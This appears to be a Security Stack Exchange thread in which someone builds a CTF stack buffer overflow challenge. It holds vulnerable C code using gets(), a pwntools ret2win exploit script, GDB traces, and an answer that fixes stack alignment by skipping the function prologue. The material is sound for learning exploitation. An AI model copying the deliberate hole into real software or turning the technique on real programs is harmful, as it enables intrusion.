0

I'm trying to develop a simple buffer overflow CTF challenge inspired by the "Csaw 2016 Quals Warmup" challenge, here. I've managed to replicate the source code:

#include <stdio.h> #include <stdlib.h> int easy(){ system("cat flag.txt"); return 0; } int main() { char target[64]; char input[64]; write(1,"-Warm Up-\n",10); write(1,"WOW: ",4); sprintf(target,"%p\n",easy); write(1,target,9); write(1,"> ",1); gets(input); return 0; } 

My current working directory has the flag.txt file. Compiled the code with GCC using the given line:

gcc sys_call.c -o sys_call -fno-stack-protector -no-pie -z,relro

The given checksec output is as follows:

 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 

Exploiting:

Running the program outputs the following:

~/stack_BOF$ ./sys_call -Warm Up- WOW:0x401196 >INPUT 

The address 0x401196 corresponds to the function easy() which is our target for this challenge, we would need to change the instruction pointer $RIP to match this value.

I'm using the GDB with the GEF wrapper for dynamic analysis:

...SNIPPIT... 0x0000000000401263 <+175>: call 0x401090 <gets@plt> 0x0000000000401268 <+180>: mov eax,0x0 0x000000000040126d <+185>: leave 0x000000000040126e <+186>: ret End of assembler dump. gef➤ 

Putting the break point after the gets call, around the leave op. would help us see our input in action.

b *main+185

After multiple attempts using the pwn cyclic tool, I found the offset from our input[] array to the $RSP register (which will be used in the ret operation to set $RIP)

Here is the exploit script I'm using in python3:

from pwn import * context.log_level = 'debug' # context.log_level = 'critical' context.binary = ELF('./sys_call') context.local(endian='little') target = process('./sys_call') # Extracting the easy() function's address in memory WOW = target.recvline_contains(b'0x').decode().split(':')[1] # Padding of 136 characters, the offset between our input and the stack pointer. payload = cyclic(136) # Packaging the easy() address to 64-bit, little endian payload += p64(int(WOW, 16)) # Saving the payload to a file to try it in GDB with open("payload.tst",'bw') as f: f.write(payload) # Send payload and Receive output target.sendline(payload) target.recvall() 

The script's execution outputs a SEGFAULT, which made me think the script did not work; perhaps something is wrong with the offset calculation or the packaging of the address:

[*] '/stack_BOF/sys_call' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './sys_call' argv=[b'./sys_call'] : pid 14305 [DEBUG] Received 0x18 bytes: b'-Warm Up-\n' b'WOW:0x401196\n' b'>' [DEBUG] Sent 0x91 bytes: 00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│ 00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│ 00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│ 00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│ 00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│ 00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│ 00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│ 00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62 │daab│eaab│faab│gaab│ 00000080 68 61 61 62 69 61 61 62 96 11 40 00 00 00 00 00 │haab│iaab│··@·│····│ 00000090 0a │·│ 00000091 [+] Receiving all data: Done (1B) [*] Process './sys_call' stopped with exit code -11 (SIGSEGV) (pid 14305) 

Looking at the same payload in GDB, it looks correct for the most part, we wrote the correct address in $RIP after the execution of the ret operation.

gef➤ r < payload.tst Starting program: /stack_BOF/sys_call < payload.tst [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". -Warm Up- WOW:0x401196 > Breakpoint 1, 0x000000000040126d in main () ...SNIP... gef➤ ni 0x000000000040126e in main () ...SNIP... → 0x40126e <main+186> ret ↳ 0x401196 <easy+0> endbr64 0x40119a <easy+4> push rbp 0x40119b <easy+5> mov rbp, rsp 0x40119e <easy+8> lea rax, [rip+0xe5f] # 0x402004 0x4011a5 <easy+15> mov rdi, rax 0x4011a8 <easy+18> call 0x401080 <system@plt> 

Finally we come to the main point of this thread/question:

If we continue the execution from the previous point, one instruction at a time. We will eventually land on the SIGSEGV as soon as we hit the system call shown below:

gef➤ 0x00000000004011a8 in easy () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000000000402004 → "cat flag.txt" $rbx : 0x0 $rcx : 0x00007ffff7e1aaa0 → 0x00000000fbad2098 $rdx : 0x1 $rsp : 0x00007fffffffdf78 → "haabiaab" $rbp : 0x00007fffffffdf78 → "haabiaab" $rsi : 0x1 $rdi : 0x0000000000402004 → "cat flag.txt" $rip : 0x00000000004011a8 → <easy+18> call 0x401080 <system@plt> $r8 : 0x0 $r9 : 0x0 $r10 : 0x77 $r11 : 0x246 $r12 : 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]" $r13 : 0x00000000004011b4 → <main+0> endbr64 $r14 : 0x0000000000403e18 → 0x0000000000401160 → <__do_global_dtors_aux+0> endbr64 $r15 : 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf78│+0x0000: "haabiaab" ← $rsp, $rbp 0x00007fffffffdf80│+0x0008: 0x0000000000000000 0x00007fffffffdf88│+0x0010: 0x00000000004011b4 → <main+0> endbr64 0x00007fffffffdf90│+0x0018: 0x00000001ffffe070 0x00007fffffffdf98│+0x0020: 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]" 0x00007fffffffdfa0│+0x0028: 0x0000000000000000 0x00007fffffffdfa8│+0x0030: 0x59a68be822d4ea3d 0x00007fffffffdfb0│+0x0038: 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]" ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40119b <easy+5> mov rbp, rsp 0x40119e <easy+8> lea rax, [rip+0xe5f] # 0x402004 0x4011a5 <easy+15> mov rdi, rax → 0x4011a8 <easy+18> call 0x401080 <system@plt> ↳ 0x401080 <system@plt+0> endbr64 0x401084 <system@plt+4> bnd jmp QWORD PTR [rip+0x2f95] # 0x404020 <[email protected]> 0x40108b <system@plt+11> nop DWORD PTR [rax+rax*1+0x0] 0x401090 <gets@plt+0> endbr64 0x401094 <gets@plt+4> bnd jmp QWORD PTR [rip+0x2f8d] # 0x404028 <[email protected]> 0x40109b <gets@plt+11> nop DWORD PTR [rax+rax*1+0x0] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── system@plt ( $rdi = 0x0000000000402004 → "cat flag.txt", $rsi = 0x0000000000000001, $rdx = 0x0000000000000001 ) ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "sys_call", stopped 0x4011a8 in easy (), reason: SINGLE STEP ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x4011a8 → easy() ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ Program received signal SIGSEGV, Segmentation fault. 

The expected output would be the content of the flag.txt file which is a normal ASCII test file.

flag{test}

I would appreciate some assistance in understanding what is happening and perhaps what I did wrong.

More info:

Distributor ID: Ubuntu Description: Ubuntu 22.04.4 LTS Release: 22.04 Codename: jammy Linux HOSTNAME 6.5.0-27-generic #28~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC x86_64 x86_64 x86_64 GNU/Linux 
3
  • "I would appreciate some assistance in understanding what is happening" - This is a pure programming question and is off-topic on Security SE. I suggest to move this question to SO.CommentedApr 15, 2024 at 1:53
  • @mentallurg Thank you for the heads-up, you might be right. I'll keep that in mind for future questions.CommentedApr 15, 2024 at 16:52
  • Welcome to the community. Have you tried messing with randomize_va_space setting in the kernel? That's the one step you have seem to have skipped...CommentedApr 15, 2024 at 18:11

1 Answer 1

0

Your exploit is correct, you only need to adjust the target address. In fact, the only thing needed for it to work is to change this line:

p64(int(WOW, 16)) 

with

p64(int(WOW, 16) + 4) 

The reason is that the SYS V ABI for x86-64 requires the stack to be aligned (on 16B) at the call site (i.e. when a call is executed).
The call instruction itself will misalign the stack, pushing an 8B return address, and the callee will realign the stack itself (either by pushing another 8B with push rbp or by subtracting a suitable amount from the stack pointer).
So when the first instruction in main is executed, the stack is misaligned by 8B; when main returns the return address (that we modified) is popped off the stack, realigning it.
The control is hijacked into easy but since this was not done through a call, the function will misalign the stack by pushing rbp and system will throw when using movaps (which requires an aligned destination address).
The solution is to skip the prologue of easy and jump directly to the instruction that sets the command parameter for system.
The prologue is 4B long (push rbp / mov rbp, rsp).

After the call to system the program will crash, but not before having printed the value of the flag.

Maybe this program was meant to be compiled as a 32-bit binary.

I think you could adjust the stack pointer with a ROP chain but then you could return straight into system with the /bin/sh string embedded into glibc.

1
  • Thank you so much for your time and your reply.CommentedApr 16, 2024 at 14:31

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.